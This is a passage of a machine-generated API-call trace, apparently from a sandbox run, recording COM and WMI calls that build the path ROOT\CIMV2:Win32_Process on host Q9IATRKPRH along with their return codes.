wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0155.200] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0155.200] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0155.200] IWbemClassObject:Get (in: This=0x1bcf6460, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0155.200] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0155.201] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0155.201] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0155.201] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0155.201] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0155.201] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.203] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1f20) returned 0x0 [0155.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1f20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0155.203] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1f20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b310) returned 0x0 [0155.203] WbemDefPath:IUnknown:Release (This=0x1bbf1f20) returned 0x0 [0155.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b310) returned 0x0 [0155.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0155.204] WbemDefPath:IUnknown:AddRef (This=0x1aa0b310) returned 0x3 [0155.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0155.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0155.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1e60) returned 0x0 [0155.204] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1e60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.204] WbemDefPath:IUnknown:Release (This=0x1bbf1e60) returned 0x3 [0155.204] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0155.204] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0155.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0155.204] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x2 [0155.204] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x1 [0155.204] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0155.204] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0155.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b310) returned 0x0 [0155.204] WbemDefPath:IUnknown:AddRef (This=0x1aa0b310) returned 0x3 [0155.204] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x2 [0155.205] WbemDefPath:IWbemPath:SetText (This=0x1aa0b310, uMode=0x4, pszPath="") returned 0x0 [0155.205] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0155.205] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0155.205] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0155.205] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.206] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1f20) returned 0x0 [0155.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1f20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0155.207] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1f20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b250) returned 0x0 [0155.207] WbemDefPath:IUnknown:Release (This=0x1bbf1f20) returned 0x0 [0155.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b250) returned 0x0 [0155.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0155.207] WbemDefPath:IUnknown:AddRef (This=0x1aa0b250) returned 0x3 [0155.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0155.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0155.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1e40) returned 0x0 [0155.208] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1e40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.208] WbemDefPath:IUnknown:Release (This=0x1bbf1e40) returned 0x3 [0155.208] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0155.208] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0155.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0155.208] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x2 [0155.208] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x1 [0155.208] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0155.208] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0155.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b250) returned 0x0 [0155.208] WbemDefPath:IUnknown:AddRef (This=0x1aa0b250) returned 0x3 [0155.208] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x2 [0155.208] WbemDefPath:IWbemPath:SetText (This=0x1aa0b250, uMode=0x4, pszPath="") returned 0x0 [0155.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b250, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0155.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b310, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0155.208] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0b250, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0155.208] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b250, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0155.209] WbemDefPath:IWbemPath:SetServer (This=0x1aa0b250, Name="Q9IATRKPRH") returned 0x0 [0155.209] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0155.209] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0155.209] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0155.209] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.211] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf2040) returned 0x0 [0155.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf2040, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0155.211] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf2040, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b190) returned 0x0 [0155.211] WbemDefPath:IUnknown:Release (This=0x1bbf2040) returned 0x0 [0155.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b190) returned 0x0 [0155.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0155.212] WbemDefPath:IUnknown:AddRef (This=0x1aa0b190) returned 0x3 [0155.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0155.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0155.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1fc0) returned 0x0 [0155.212] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1fc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.212] WbemDefPath:IUnknown:Release (This=0x1bbf1fc0) returned 0x3 [0155.212] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0155.212] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0155.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0155.212] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x2 [0155.212] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x1 [0155.212] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0155.212] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0155.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b190) returned 0x0 [0155.213] WbemDefPath:IUnknown:AddRef (This=0x1aa0b190) returned 0x3 [0155.213] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x2 [0155.213] WbemDefPath:IWbemPath:SetText (This=0x1aa0b190, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0155.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b250, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0155.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b190, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0155.213] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0155.213] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0155.213] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0b250) returned 0x0 [0155.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b190, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0155.213] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b190, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b190, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0155.216] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b250, uIndex=0x0, pszName="ROOT") returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b190, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b190, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0155.216] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b250, uIndex=0x1, pszName="CIMV2") returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0b250, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0155.216] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0b250, Name="Win32_Process") returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b250, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b250, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b250, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b250, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0155.216] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b250, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0155.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b250, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.217] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b250, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0155.217] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b250, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0155.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.217] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0155.217] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0155.217] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b250, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0155.217] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b250, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0155.217] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0155.217] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0155.217] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0155.217] IUnknown:Release (This=0x1a943398) returned 0x1 